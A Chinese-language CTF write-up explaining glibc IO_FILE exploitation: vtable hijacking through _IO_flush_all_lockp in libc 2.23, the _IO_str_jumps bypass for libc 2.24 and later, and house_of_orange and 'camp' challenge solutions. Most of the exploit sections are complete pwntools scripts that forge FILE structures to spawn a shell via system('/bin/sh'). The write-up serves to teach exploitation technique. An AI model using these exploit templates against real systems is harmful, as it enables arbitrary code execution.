本文用于记录IO_FILE的利用原理思路以及构造模板
首先我们知道内核启动的时候默认打开3个I/O设备文件,标准输入文件stdin
,标准输出文件stdout
,标准错误输出文件stderr
,分别得到文件描述符 0, 1, 2,而这三个I/O文件的类型为指向FILE的指针,而FILE实际上就是_IO_FILE
typedef struct _IO_FILE FILE;
extern struct _IO_FILE *stdin; /* Standard input stream. */
extern struct _IO_FILE *stdout; /* Standard output stream. */
extern struct _IO_FILE *stderr; /* Standard error output stream. */
_IO_FILE *stdin = (FILE *) &_IO_2_1_stdin_;
_IO_FILE *stdout = (FILE *) &_IO_2_1_stdout_;
_IO_FILE *stderr = (FILE *) &_IO_2_1_stderr_;
_IO_FILE结构体定义如下
struct _IO_FILE {
int _flags; /* High-order word is _IO_MAGIC; rest is flags. */
#define _IO_file_flags _flags
/* The following pointers correspond to the C++ streambuf protocol. */
/* Note: Tk uses the _IO_read_ptr and _IO_read_end fields directly. */
char* _IO_read_ptr; /* Current read pointer */
char* _IO_read_end; /* End of get area. */
char* _IO_read_base; /* Start of putback+get area. */
char* _IO_write_base; /* Start of put area. */
char* _IO_write_ptr; /* Current put pointer. */
char* _IO_write_end; /* End of put area. */
char* _IO_buf_base; /* Start of reserve area. */
char* _IO_buf_end; /* End of reserve area. */
/* The following fields are used to support backing up and undo. */
char *_IO_save_base; /* Pointer to start of non-current get area. */
char *_IO_backup_base; /* Pointer to first valid character of backup area */
char *_IO_save_end; /* Pointer to end of non-current get area. */
struct _IO_marker *_markers;
struct _IO_FILE *_chain;
int _fileno;
#if 0
int _blksize;
#else
int _flags2;
#endif
_IO_off_t _old_offset; /* This used to be _offset but it's too small. */
#define __HAVE_COLUMN /* temporary */
/* 1+column number of pbase(); 0 is unknown. */
unsigned short _cur_column;
signed char _vtable_offset;
char _shortbuf[1];
/* char* _save_gptr; char* _save_egptr; */
_IO_lock_t *_lock;
#ifdef _IO_USE_OLD_IO_FILE
};
#define _IO_MAGIC 0xFBAD0000 /* Magic number */
#define _OLD_STDIO_MAGIC 0xFABC0000 /* Emulate old stdio. */
#define _IO_MAGIC_MASK 0xFFFF0000
#define _IO_USER_BUF 1 /* User owns buffer; don't delete it on close. */
#define _IO_UNBUFFERED 2
#define _IO_NO_READS 4 /* Reading not allowed */
#define _IO_NO_WRITES 8 /* Writing not allowd */
#define _IO_EOF_SEEN 0x10
#define _IO_ERR_SEEN 0x20
#define _IO_DELETE_DONT_CLOSE 0x40 /* Don't call close(_fileno) on cleanup. */
#define _IO_LINKED 0x80 /* Set if linked (using _chain) to streambuf::_list_all.*/
#define _IO_IN_BACKUP 0x100
#define _IO_LINE_BUF 0x200
#define _IO_TIED_PUT_GET 0x400 /* Set if put and get pointer logicly tied. */
#define _IO_CURRENTLY_PUTTING 0x800
#define _IO_IS_APPENDING 0x1000
#define _IO_IS_FILEBUF 0x2000
#define _IO_BAD_SEEN 0x4000
#define _IO_USER_LOCK 0x8000
其中_IO_2_1_stdin_
,_IO_2_1_stdout_
,_IO_2_1_stderr_
定义如下
extern struct _IO_FILE_plus _IO_2_1_stdin_;
extern struct _IO_FILE_plus _IO_2_1_stdout_;
extern struct _IO_FILE_plus _IO_2_1_stderr_;
_IO_2_1_stdin_
,_IO_2_1_stdout_
,_IO_2_1_stderr_
都是_IO_FILE_plus
结构体指针,除了这三个以外,还有一个_IO_list_all
也是_IO_FILE_plus
结构体指针,用来管理所有的_IO_FILE
extern struct _IO_FILE_plus *_IO_list_all;
我们再看看_IO_FILE_plus
结构体的定义
struct _IO_FILE_plus
{
_IO_FILE file;
const struct _IO_jump_t *vtable;
};
_IO_FILE_plus
包含一个_IO_FILE
结构体和一个_IO_jump_t
结构体类型的指针,记作vtable
,我们再看到IO_jump_t
结构体定义
struct _IO_jump_t
{
JUMP_FIELD(size_t, __dummy);
JUMP_FIELD(size_t, __dummy2);
JUMP_FIELD(_IO_finish_t, __finish);
JUMP_FIELD(_IO_overflow_t, __overflow);
JUMP_FIELD(_IO_underflow_t, __underflow);
JUMP_FIELD(_IO_underflow_t, __uflow);
JUMP_FIELD(_IO_pbackfail_t, __pbackfail);
/* showmany */
JUMP_FIELD(_IO_xsputn_t, __xsputn);
JUMP_FIELD(_IO_xsgetn_t, __xsgetn);
JUMP_FIELD(_IO_seekoff_t, __seekoff);
JUMP_FIELD(_IO_seekpos_t, __seekpos);
JUMP_FIELD(_IO_setbuf_t, __setbuf);
JUMP_FIELD(_IO_sync_t, __sync);
JUMP_FIELD(_IO_doallocate_t, __doallocate);
JUMP_FIELD(_IO_read_t, __read);
JUMP_FIELD(_IO_write_t, __write);
JUMP_FIELD(_IO_seek_t, __seek);
JUMP_FIELD(_IO_close_t, __close);
JUMP_FIELD(_IO_stat_t, __stat);
JUMP_FIELD(_IO_showmanyc_t, __showmanyc);
JUMP_FIELD(_IO_imbue_t, __imbue);
#if 0
get_column;
set_column;
#endif
};
于是整个_IO_FILE_plus
结构体的示意图如下
而_IO_2_1_stdin_
,_IO_2_1_stdout_
,_IO_2_1_stderr_
和_IO_list_all
都是通过_IO_FILE
结构体中的_chain
指针相连的,而_chain
指针也是一个_IO_FILE结构体指针
struct _IO_FILE *_chain;
它们的连接顺序如下
glibc中有一个函数_IO_flush_all_lockp
,该函数的功能是刷新所有FILE结构体的输出缓冲区
int
_IO_flush_all_lockp (int do_lock)
{
int result = 0;
struct _IO_FILE *fp;
int last_stamp;
#ifdef _IO_MTSAFE_IO
__libc_cleanup_region_start (do_lock, flush_cleanup, NULL);
if (do_lock)
_IO_lock_lock (list_all_lock);
#endif
last_stamp = _IO_list_all_stamp;
fp = (_IO_FILE *) _IO_list_all;
while (fp != NULL)
{
run_fp = fp;
if (do_lock)
_IO_flockfile (fp);
if (((fp->_mode <= 0 && fp->_IO_write_ptr > fp->_IO_write_base)
#if defined _LIBC || defined _GLIBCPP_USE_WCHAR_T
|| (_IO_vtable_offset (fp) == 0
&& fp->_mode > 0 && (fp->_wide_data->_IO_write_ptr
> fp->_wide_data->_IO_write_base))
#endif
)
&& _IO_OVERFLOW (fp, EOF) == EOF)
result = EOF;
if (do_lock)
_IO_funlockfile (fp);
run_fp = NULL;
if (last_stamp != _IO_list_all_stamp)
{
/* Something was added to the list. Start all over again. */
fp = (_IO_FILE *) _IO_list_all;
last_stamp = _IO_list_all_stamp;
}
else
fp = fp->_chain;
}
#ifdef _IO_MTSAFE_IO
if (do_lock)
_IO_lock_unlock (list_all_lock);
__libc_cleanup_region_end (0);
#endif
return result;
}
根据大佬的分析,以下三种操作会触发_IO_flush_all_lockp
libc执行abort函数时。
程序执行exit函数时。
程序从main函数返回时。
我这里只分析第一种,libc执行abort函数时
,我们知道,当malloc出错时会执行malloc_printerr
函数,源码如下
malloc_printerr (int action, const char *str, void *ptr, mstate ar_ptr)
{
/* Avoid using this arena in future. We do not attempt to synchronize this
with anything else because we minimally want to ensure that __libc_message
gets its resources safely without stumbling on the current corruption. */
if (ar_ptr)
set_arena_corrupt (ar_ptr);
if ((action & 5) == 5)
__libc_message (action & 2, "%s\n", str);
else if (action & 1)
{
char buf[2 * sizeof (uintptr_t) + 1];
buf[sizeof (buf) - 1] = '\0';
char *cp = _itoa_word ((uintptr_t) ptr, &buf[sizeof (buf) - 1], 16, 0);
while (cp > buf)
*--cp = '0';
__libc_message (action & 2, "*** Error in `%s': %s: 0x%s ***\n",
__libc_argv[0] ? : "<unknown>", str, cp);
}
else if (action & 2)
abort ();
}
可以看到malloc_printerr
函数调用了libc_message
函数,跟进libc_message
void
__libc_message (int do_abort, const char *fmt, ...)
{
va_list ap;
int fd = -1;
va_start (ap, fmt);
#ifdef FATAL_PREPARE
FATAL_PREPARE;
#endif
......
......
va_end (ap);
if (do_abort)
{
BEFORE_ABORT (do_abort, written, fd);
/* Kill the application. */
abort ();
}
}
__libc_message
函数调用了abort
函数,我们继续跟进abort
函数
void
abort (void)
{
struct sigaction act;
sigset_t sigs;
/* First acquire the lock. */
__libc_lock_lock_recursive (lock);
/* Now it's for sure we are alone. But recursive calls are possible. */
......
/* Flush all streams. We cannot close them now because the user
might have registered a handler for SIGABRT. */
if (stage == 1)
{
++stage;
fflush (NULL);
}
......
}
然后abort又调用了fflush函数
#define fflush(s) _IO_flush_all_lockp (0)
而实际上fflush
就是_IO_flush_all_lockp
,继续跟进到_IO_flush_all_lockp
函数中
int
_IO_flush_all_lockp (int do_lock)
{
int result = 0;
struct _IO_FILE *fp;
int last_stamp;
#ifdef _IO_MTSAFE_IO
__libc_cleanup_region_start (do_lock, flush_cleanup, NULL);
if (do_lock)
_IO_lock_lock (list_all_lock);
#endif
last_stamp = _IO_list_all_stamp;
fp = (_IO_FILE *) _IO_list_all;//将_IO_list_all赋给fp
while (fp != NULL)
{
run_fp = fp;
if (do_lock)
_IO_flockfile (fp);
if (((fp->_mode <= 0 && fp->_IO_write_ptr > fp->_IO_write_base)
#if defined _LIBC || defined _GLIBCPP_USE_WCHAR_T
|| (_IO_vtable_offset (fp) == 0
&& fp->_mode > 0 && (fp->_wide_data->_IO_write_ptr
> fp->_wide_data->_IO_write_base))
#endif
)
&& _IO_OVERFLOW (fp, EOF) == EOF)//我们的目标,在伪造的FILE结构体中将_IO_OVERFLOW设置为system,fp开头的值,即_flag设置为/bin/sh
//要执行_IO_OVERFLOW,我们需要满足if判断的条件
result = EOF;
if (do_lock)
_IO_funlockfile (fp);
run_fp = NULL;
if (last_stamp != _IO_list_all_stamp)
{
/* Something was added to the list. Start all over again. */
fp = (_IO_FILE *) _IO_list_all;
last_stamp = _IO_list_all_stamp;
}
else
fp = fp->_chain;
}
#ifdef _IO_MTSAFE_IO
if (do_lock)
_IO_lock_unlock (list_all_lock);
__libc_cleanup_region_end (0);
#endif
return result;
}
根据源码,我们能得出,要执行_IO_OVERFLOW
函数,需要满足以下两种条件中的一种
fp->_mode <= 0
&& fp->_IO_write_ptr > fp->_IO_write_base
或者
_IO_vtable_offset (fp) == 0//# define _IO_vtable_offset(THIS) (THIS)->_vtable_offset
&& fp->_mode > 0
&& fp->_wide_data->_IO_write_ptr> fp->_wide_data->_IO_write_base
很明显,第一种条件要比第二种更容易满足,条件二除了当前FILE结构体,还涉及到一个_wide_data
结构体,在此不作讨论,仅讨论第一种情况下的利用实现
在_IO_flush_all_lockp
源码中,我们看到_IO_OVERFLOW
函数的第一个参数是从_IO_list_all
开始的一系列_IO_FILE
结构体,_IO_flush_all_lockp
会从_IO_list_all
开始沿着_chian
寻找到下一个IO_FILE
并刷新。一般情况下_IO_list_all
的值是_IO_2_1_stderr
的指针,如果我们能够将_IO_list_all
的值修改为我们可控的区域的地址,然后在该区域伪造一个FILE结构体,按照if条件设置好对应的值,将_IO_OVERFLOW
设置为system
函数的地址,这样当我们触发malloc_printerr
时便会沿着调用链一路执行,最终执行system("/bin/sh")
。
手动构造FILE结构体比较麻烦,推荐veritas501师傅写的FILE结构体伪造模块,或者raycp师傅的pwn_debug项目,也有对应的FILE结构体伪造模块
通过两个例题加深对IO_FILE伪造的理解
0x1.house_of_orange
完整过程就不说了,重点在于伪造FILE结构体
程序存在堆溢出,并且最大可申请0x1000的chunk,先利用堆溢出修改topchunk的大小,再申请一个大于topchunk大小的chunk,将topchunk放入unsortedbin(操作原理就不说了,可以去看看别的师傅的讲解),再申请一个largebin大小的chunk就可以分别泄露出libc地址和heap地址了。接下来就是最关键的操作,将unsortedbin的size修改为0x61,并且直接将unsortedbin伪造为一个FILE结构体
#借助pwn_debug进行FILE结构体构造
payload = 'a'*0x400 #largebin
payload += p64(0)+p64(0x21)#orange结构体在用户申请的chunk下方,大小为0x20
payload += p32(1)+p32(0x1f)+p64(0)#orange结构体有两个值,一个为price,一个为color,分别占4字节
fake_file = IO_FILE_plus()#创建一个IO_FILE对象
fake_file._flags = u64('/bin/sh\x00')#设置_flag为binsh,_flag的位置为unsorted bin的presize
fake_file._IO_read_ptr = 0x61#修改unsorted bin的size为0x61
fake_file._IO_read_base=_IO_list_all-0x10#修改unsorted bin的bk指针为_IO_list_all-0x10
fake_file._IO_write_ptr=0
fake_file._IO_write_ptr=1#满足_IO_write_ptr > _IO_write_ptr
fake_file._mode=0#满足_mode<=0
fake_file.vtable=heap_base+0x4f0+fake_file.size#设置vtable指向fake_file下方
pay += str(fake_file)
pay += p64(0)*3 # vtable,_IO_OVERFLOW在_IO_jump_t中的偏移为0x18
pay += p64(system) # 设置_IO_OVERFLOW为system,
upgrade(0x800, pay, 1, 1)
解释一下这一段,将unsorted bin的bk指针设置为_IO_list_all-0x10,这样当我们申请chunk时便会触发unsorted bin attack
/* remove from unsorted list */
unsorted_chunks (av)->bk = bck;
bck->fd = unsorted_chunks (av);
结果便是将main_arena+88写入_IO_list_all
,则_IO_list_all
指向了main_arena+88,因为我们将unsorted bin的size修改为0x61,这个unsorted bin会被放入大小为0x60的small bin中,0x60的smallbin地址的存储位置相对于main_arena+88为0x68,而chain在FILE结构体中的偏移也为0x68。顺便附上结构体的偏移量
0x0 _flags
0x8 _IO_read_ptr
0x10 _IO_read_end
0x18 _IO_read_base
0x20 _IO_write_base
0x28 _IO_write_ptr
0x30 _IO_write_end
0x38 _IO_buf_base
0x40 _IO_buf_end
0x48 _IO_save_base
0x50 _IO_backup_base
0x58 _IO_save_end
0x60 _markers
0x68 _chain
0x70 _fileno
0x74 _flags2
0x78 _old_offset
0x80 _cur_column
0x82 _vtable_offset
0x83 _shortbuf
0x88 _lock
0x90 _offset
0x98 _codecvt
0xa0 _wide_data
0xa8 _freeres_list
0xb0 _freeres_buf
0xb8 __pad5
0xc0 _mode
0xc4 _unused2
0xd8 vtable
又由于unsortedbin attack的缘故,会触发如下代码
while ((victim = unsorted_chunks (av)->bk) != unsorted_chunks (av))
{
bck = victim->bk;
if (__builtin_expect (victim->size <= 2 * SIZE_SZ, 0)
|| __builtin_expect (victim->size > av->system_mem, 0))
malloc_printerr (check_action, "malloc(): memory corruption",
chunk2mem (victim), av);
malloc会出错,这样就会调用malloc_printerr函数,触发_IO_flush_all_lockp
,通过IO_list_all找到找到main_arena+88,再通过chian找到我们伪造的FILE结构体,然后找到vtable,触发_IO_OVERFLOW
,执行system(“/bin/sh”)
0x2.蓝帽杯2020 camp
libc2.23,保护全开
菜单题
看到第一个功能stdout
unsigned __int64 out()
{
int v0; // eax
int nbytes; // [rsp+4h] [rbp-1Ch]
void *buf; // [rsp+10h] [rbp-10h]
unsigned __int64 v4; // [rsp+18h] [rbp-8h]
v4 = __readfsqword(0x28u);
puts("size:");
nbytes = sub_C31();
if ( nbytes < 0 || nbytes > 0xF0 )
{
puts("error.");
exit(1);
}
puts("content:");
buf = malloc(nbytes);
read(0, buf, (unsigned int)nbytes);
strcpy((char *)&unk_202040 + 24 * chunk_num[0], "stdout");
memcpy(stdout, buf, nbytes);
*((_DWORD *)&unk_202040 + 6 * chunk_num[0] + 4) = nbytes;
v0 = chunk_num[0]++;
*((_QWORD *)&unk_202040 + 3 * v0 + 1) = buf;
printf("Finish.");
return __readfsqword(0x28u) ^ v4;
}
malloc一个chunk,往chunk里写东西,再将chunk里的数据memcpy到_IO_2_1_stdout_
结构体中
剩下的stdin和stderr功能也都和stdout一样,只不过将_IO_2_1_stdout_
换成了_IO_2_1_stdin_
和_IO_2_1_stderr_
log功能就是打印出所有的chunk的内容,clear就是free掉所有chunk并将指针清零
一开始没找到漏洞点,后来看到了stdout、stdin和stderr,想起来利用_IO_FILE
开始利用
首先泄露libc地址,既然能直接往_IO_2_1_stdout_
上写数据,那就直接利用_IO_2_1_stdout_
泄露libc地址。然后修改stdout的vtable指针指向stdout,将stderr构造成vtable,之后由于会调用printf,printf的调用栈为
vfprintf+11
_IO_file_xsputn
_IO_file_overflow
funlockfilec
_IO_file_write
write
这里引用ctfwiki上的说明
printf和puts是常用的输出函数,在printf的参数是以'\n'结束的纯字符串时,printf会被优化为puts函数并去除换行符。
puts在源码中实现的函数是_IO_puts,这个函数的操作与fwrite的流程大致相同,函数内部同样会调用vtable中的_IO_sputn,结果会执行_IO_new_file_xsputn,最后会调用到系统接口write函数。
因为在vtable中有
JUMP_FIELD(_IO_xsputn_t, __xsputn);
而
#define _IO_sputn(__fp, __s, __n) _IO_XSPUTN (__fp, __s, __n)
看到_IO_puts
函数
int
_IO_puts (const char *str)
{
int result = EOF;
_IO_size_t len = strlen (str);
_IO_acquire_lock (_IO_stdout);
if ((_IO_vtable_offset (_IO_stdout) != 0
|| _IO_fwide (_IO_stdout, -1) == -1)
&& _IO_sputn (_IO_stdout, str, len) == len
&& _IO_putc_unlocked ('\n', _IO_stdout) != EOF)
result = MIN (INT_MAX, len + 1);
_IO_release_lock (_IO_stdout);
return result;
}
其中调用了_IO_sputn
,第一个参数为_IO_stdout
,找到_IO_stdout
定义如下
#define _IO_stdout ((_IO_FILE*)(&_IO_2_1_stdout_))
所以,第一个参数就为_IO_2_1_stdout_
结构体,如果我们能将vtable中的_IO_sputn
覆盖成system函数,将_IO_2_1_stdout_
结构体的_flags
覆盖成/bin/sh,这样就能调用system(“/bin/sh”)
完整exp如下
#!/usr/bin/python
from pwn import *
context.log_level = 'debug'
context.arch='amd64'
io=process('./camp')
elf=ELF('camp')
libc=ELF('/lib/x86_64-linux-gnu/libc-2.23.so')
def stdout(size, content):
io.recvuntil('>>>')
io.sendline('1')
io.recvuntil('size:')
io.sendline(str(size))
io.recvuntil('content:')
io.send(content)
def stdin(size, content):
io.recvuntil('>>>')
io.sendline('2')
io.recvuntil('size:')
io.sendline(str(size))
io.recvuntil('content:')
io.send(content)
def stderr(size, content):
io.recvuntil('>>>')
io.sendline('3')
io.recvuntil('size:')
io.sendline(str(size))
io.recvuntil('content:')
io.send(content)
def show():
io.recvuntil('>>>')
io.sendline('4')
def clear():
io.recvuntil('>>>')
io.sendline('5')
payload = p64(0xfbad1887)+p64(0)*3+p8(0) #修改_IO_2_1_stdout_结构体,泄露libc地址
stdout(len(payload), payload)
libc_base = u64(io.recvuntil('\x7f')[-6:].ljust(8, '\x00'))-0x3c36e0
system_addr = libc_base+libc.symbols['system']
_IO_2_1_stderr_ = libc_base+libc.symbols['_IO_2_1_stderr_']
_IO_2_1_stdin_=libc_base+libc.symbols['_IO_2_1_stdin_']
_IO_2_1_stdout_=libc_base+libc.symbols['_IO_2_1_stdout_']
log.success('libc_base => {}'.format(hex(libc_base)))
log.success('system_addr => {}'.format(hex(system_addr)))
log.success('_IO_2_1_stderr_ => {}'.format(hex(_IO_2_1_stderr_)))
log.success('_IO_2_1_stdin_ => {}'.format(hex(_IO_2_1_stdin_)))
log.success('_IO_2_1_stdout_ => {}'.format(hex(_IO_2_1_stdout_)))
payload=p64(0)*7+p64(system_addr) #将stderr结构体伪造成vtable,前7个函数全部置0,第八个,也就是_IO_xsputn函数设置为system
stderr(len(payload),payload)
payload='/bin/sh\x00'+p64(libc_base+0x3c56a3)*7+p64(libc_base+0x3c56a4)+p64(0)*4
payload+=p64(_IO_2_1_stdin_)+p64(1)+p64(0xffffffffffffffff)+p64(0xa000000)+p64(libc_base+0x3c6780)
payload+=p64(0xffffffffffffffff)+p64(0)+p64(libc_base+0x3c47a0)+p64(0)*3
payload+=p64(0x00000000ffffffff)+p64(0)*2+p64(_IO_2_1_stderr_)#完整地将stdout结构体重新设置,除了_flags设置为/bin/sh以及将vtable设置为stderr结构体的地址以外,其他的都不变,这样的话当执行printf时,会通过我们伪造的vtable指针找到sterr结构体来调用_IO_xsputn,实际上调用的是system函数,而stdout开头的值我们已经设置为了binsh,这样就能执行system("/bin/sh")了(因为要将stdout结构体全部设置,所以就不用IO_FILE结构体伪造模块了,那样会更加麻烦一些,毕竟有那么多的成员)
#gdb.attach(io)
stdout(len(payload),payload)
io.interactive()
泄露libc地址
修改前的stdout
修改后的stdout
修改后的stderr
这题除了用2.23下的做法以外还可以用2.24下的做法,之后会用2.24下的做法进行利用,也就是_IO_str_jumps(听说比赛的时候给的是2.23的libc,远程是2.24的,太屑了)
接下来进入高版本libc下IO_FILE的利用方法,也就是libc>=2.24
相对于libc2.23以下的版本,2.24对vtable的位置进行了检查,检查内容如下
static inline const struct _IO_jump_t *
IO_validate_vtable (const struct _IO_jump_t *vtable)
{
/* Fast path: The vtable pointer is within the __libc_IO_vtables
section. */
uintptr_t section_length = __stop___libc_IO_vtables - __start___libc_IO_vtables;
const char *ptr = (const char *) vtable;
uintptr_t offset = ptr - __start___libc_IO_vtables;
if (__glibc_unlikely (offset >= section_length))
/* The vtable pointer is not in the expected section. Use the
slow path, which will terminate the process if necessary. */
_IO_vtable_check ();
return vtable;
}
如果vtable的地址不在__start___libc_IO_vtables
和__stop___libc_IO_vtables
之间的话,就会调用_IO_vtable_check
函数,_IO_vtable_check
函数如下
void attribute_hidden
_IO_vtable_check (void)
{
#ifdef SHARED
/* Honor the compatibility flag. */
void (*flag) (void) = atomic_load_relaxed (&IO_accept_foreign_vtables);
#ifdef PTR_DEMANGLE
PTR_DEMANGLE (flag);
#endif
if (flag == &_IO_vtable_check)
return;
/* In case this libc copy is in a non-default namespace, we always
need to accept foreign vtables because there is always a
possibility that FILE * objects are passed across the linking
boundary. */
{
Dl_info di;
struct link_map *l;
if (_dl_open_hook != NULL
|| (_dl_addr (_IO_vtable_check, &di, &l, NULL) != 0
&& l->l_ns != LM_ID_BASE))
return;
}
#else /* !SHARED */
/* We cannot perform vtable validation in the static dlopen case
because FILE * handles might be passed back and forth across the
boundary. Therefore, we disable checking in this case. */
if (__dlopen != NULL)
return;
#endif
__libc_fatal ("Fatal error: glibc detected an invalid stdio handle\n");
}
_IO_vtable_check
函数会检查vtable是否是外部的合法vtable,如果不是则抛出错误
vtable的起始__start___libc_IO_vtables
的地址为
pwndbg> p &__start___libc_IO_vtables
$1 = (const char (*)[]) 0x7ffff7dce8c0 <_IO_helper_jumps>
vtable的结束__stop___libc_IO_vtables
的地址为
pwndbg> p &__stop___libc_IO_vtables
$2 = (const char (*)[]) 0x7ffff7dcf628
我们在house of orange中将vtable伪造在了堆中,在camp中将vtable伪造在了_IO_2_1_stderr_
中,2.24下首先检查vtable是否在__start___libc_IO_vtables
和__stop___libc_IO_vtables
之间,如果不是则检查是否是合法外部vtable,如果依然不是则抛出错误,2.23下的伪造方式显然不能通过2.24的检查。
根据大佬们的说法,可以利用_IO_str_jumps
这个vtable,vtable如下
pwndbg> p _IO_str_jumps
$19 = {
__dummy = 0,
__dummy2 = 0,
__finish = 0x7ffff7a906b0 <_IO_str_finish>,
__overflow = 0x7ffff7a90310 <__GI__IO_str_overflow>,
__underflow = 0x7ffff7a902b0 <__GI__IO_str_underflow>,
__uflow = 0x7ffff7a8e900 <__GI__IO_default_uflow>,
__pbackfail = 0x7ffff7a90690 <__GI__IO_str_pbackfail>,
__xsputn = 0x7ffff7a8e960 <__GI__IO_default_xsputn>,
__xsgetn = 0x7ffff7a8eaf0 <__GI__IO_default_xsgetn>,
__seekoff = 0x7ffff7a907e0 <__GI__IO_str_seekoff>,
__seekpos = 0x7ffff7a8eea0 <_IO_default_seekpos>,
__setbuf = 0x7ffff7a8ed70 <_IO_default_setbuf>,
__sync = 0x7ffff7a8f120 <_IO_default_sync>,
__doallocate = 0x7ffff7a8ef10 <__GI__IO_default_doallocate>,
__read = 0x7ffff7a90160 <_IO_default_read>,
__write = 0x7ffff7a90170 <_IO_default_write>,
__seek = 0x7ffff7a90140 <_IO_default_seek>,
__close = 0x7ffff7a8f120 <_IO_default_sync>,
__stat = 0x7ffff7a90150 <_IO_default_stat>,
__showmanyc = 0x7ffff7a90180 <_IO_default_showmanyc>,
__imbue = 0x7ffff7a90190 <_IO_default_imbue>
}
这个vtable中的_IO_str_finish
和_IO_str_overflow
函数存在相对地址调用,首先看到_IO_str_finish
,源码如下
void
_IO_str_finish (_IO_FILE *fp, int dummy)
{
if (fp->_IO_buf_base && !(fp->_flags & _IO_USER_BUF))
(((_IO_strfile *) fp)->_s._free_buffer) (fp->_IO_buf_base);
fp->_IO_buf_base = NULL;
_IO_default_finish (fp, 0);
}
当满足如下条件时
1.fp->_IO_buf_base
2.!(fp->_flags & _IO_USER_BUF) //_flags&_IO_USER_BUF要为0,而#define _IO_USER_BUF 1,所以_flags的最后一位要为0
便会调用(((_IO_strfile *) fp)->_s._free_buffer)
,参数为fp->_IO_buf_base
,我们可以将fp->_s._free_buffer
伪造为system函数,将fp->_IO_buf_base
设置为/bin/sh,那么fp->_s._free_buffer
的偏移为多少,我们在gdb中使用如下命令查看
pwndbg> p/x &((_IO_strfile *) stdout)->_s._free_buffer
$14 = 0x7ffff7dd36e8
pwndbg> p &_IO_2_1_stdout_
$15 = (struct _IO_FILE_plus *) 0x7ffff7dd3600 <_IO_2_1_stdout_>
pwndbg> p/x 0x7ffff7dd36e8-0x7ffff7dd3600
$16 = 0xe8
可以得到_s._free_buffer
相对于IO_FILE
结构体的偏移为0xe8
,类似的,用这几条命令查看_s._free_buffer相对于stdin和stderr的偏移也为0xe8
那么,该如何触发fp->_s._free_buffer
?在house of orange的利用中,我们通过触发_IO_flush_all_lockp
,并设置好IO_FILE中一些成员的值来满足约束,调用_IO_OVERFLOW
函数,而_IO_OVERFLOW
在vtable中的偏移为0x18,_IO_finish
的偏移为0x10,在_IO_str_jumps
中_IO_str_finish
的偏移也为0x10,于是我们将vtable指向_IO_str_jumps-8
,这样当调用_IO_OVERFLOW
函数时实际上就是调用了_IO_str_jumps
中的_IO_str_finish
函数,在构造触发_IO_OVERFLOW
的条件的同时,我们将_IO_buf_base
设置为/bin/sh,将fp+0xe8设置为system。总结一下构造的条件如下
fp->_flags&1==0
fp->_mode <= 0
fp->_IO_write_ptr > fp->_IO_write_base
fp->_IO_buf_base=binsh
fp->vtable=_IO_str_jumps-8
fp+0xe8=system
接下来我们用2.24下的做法来解决house of orange和camp这两道题,并且增加另外几道例题
house of orange的IO_FILE修改为如下
pay = 'e'*0x400
pay += p64(0)+p64(0x21)
pay += p32(1)+p32(0x1f)+p64(0)
fake_file = IO_FILE_plus()
fake_file._flags = 0
fake_file._IO_read_ptr = 0x61
fake_file._IO_read_base=_IO_list_all-0x10
fake_file._IO_buf_base=binsh_addr
fake_file._IO_write_base=0
fake_file._IO_write_ptr=1
fake_file._mode=0
fake_file.vtable=_IO_str_jumps-8
pay += str(fake_file).ljust(0xe8,'\x00')+p64(system)
伪造的IO_FILE按照上面所说的条件进行构造,但并不是百分百的成功率,原因可以看这位师傅写的新手向——IO_file全流程浅析
再看到camp的在2.24下的用法
#!/usr/bin/python
from pwn import *
from pwn_debug import *
context.log_level = 'debug'
context.arch = 'amd64'
io = process('./camp')
elf = ELF('camp')
# libc=ELF('/lib/x86_64-linux-gnu/libc-2.23.so')
libc = ELF('/usr/lib/freelibs/amd64/2.24-3ubuntu1_amd64/libc-2.24.so')
def stdout(size, content):
io.recvuntil('>>>')
io.sendline('1')
io.recvuntil('size:')
io.sendline(str(size))
io.recvuntil('content:')
io.send(content)
def stdin(size, content):
io.recvuntil('>>>')
io.sendline('2')
io.recvuntil('size:')
io.sendline(str(size))
io.recvuntil('content:')
io.send(content)
def stderr(size, content):
io.recvuntil('>>>')
io.sendline('3')
io.recvuntil('size:')
io.sendline(str(size))
io.recvuntil('content:')
io.send(content)
def show():
io.recvuntil('>>>')
io.sendline('4')
def clear():
io.recvuntil('>>>')
io.sendline('5')
payload = p64(0xfbad1887)+p64(0)*3+p8(0)
stdout(len(payload), payload)
libc_base = u64(io.recvuntil('\x7f')[-6:].ljust(8, '\x00'))-0x3c2600
# gdb.attach(io)
system_addr = libc_base+libc.symbols['system']
_IO_2_1_stderr_ = libc_base+libc.symbols['_IO_2_1_stderr_']
binsh_addr = libc_base+libc.search('/bin/sh\x00').next()
_IO_str_jumps = libc_base+0x3be4c0
_IO_2_1_stdin_ = libc_base+libc.symbols['_IO_2_1_stdin_']
_IO_2_1_stdout_ = libc_base+libc.symbols['_IO_2_1_stdout_']
log.success('libc_base => {}'.format(hex(libc_base)))
log.success('system_addr => {}'.format(hex(system_addr)))
log.success('_IO_2_1_stderr_ => {}'.format(hex(_IO_2_1_stderr_)))
log.success('binsh_addr => {}'.format(hex(binsh_addr)))
log.success('_IO_str_jumps => {}'.format(hex(_IO_str_jumps)))
log.success('_IO_2_1_stdin_ => {}'.format(hex(_IO_2_1_stdin_)))
log.success('_IO_2_1_stdout_ => {}'.format(hex(_IO_2_1_stdout_)))
'''
payload=p64(0)*7+p64(system_addr)
stderr(len(payload),payload)
payload='/bin/sh\x00'+p64(libc_base+0x3c56a3)*7+p64(libc_base+0x3c56a4)+p64(0)*4
payload+=p64(_IO_2_1_stdin_)+p64(1)+p64(0xffffffffffffffff)+p64(0xa000000)+p64(libc_base+0x3c6780)
payload+=p64(0xffffffffffffffff)+p64(0)+p64(libc_base+0x3c47a0)+p64(0)*3
payload+=p64(0x00000000ffffffff)+p64(0)*2+p64(_IO_2_1_stderr_)
#gdb.attach(io)
stdout(len(payload),payload)
'''
fake_file = IO_FILE_plus()
fake_file._flags = 0
fake_file._IO_buf_base = binsh_addr
fake_file._IO_write_base = 0
fake_file._IO_write_ptr = 1
fake_file._mode = 0
fake_file.vtable = _IO_str_jumps-8
payload = str(fake_file).ljust(0xe8, '\x00')+p64(system_addr)
stdout(len(payload), payload)
io.sendline('1')
io.sendline('256')
# gdb.attach(io)
io.interactive()
fake_file按照条件进行构造,这只是修改了stdout结构体,我们还需要触发_IO_flush_all_lockp
,前面说过,要触发_IO_flush_all_lockp
除了libc执行abort函数时,当程序执行exit时也会触发(跟进exit函数调试会发现exit函数调用了_IO_flush_all_lockp
)。题目中,当我们输入的size大于0xf0时就会执行exit函数,于是我们将输入size为256就可以getshell,由于stdout结构体已经被我们修改,我们看不到程序的回显,但程序依然是可以执行的。
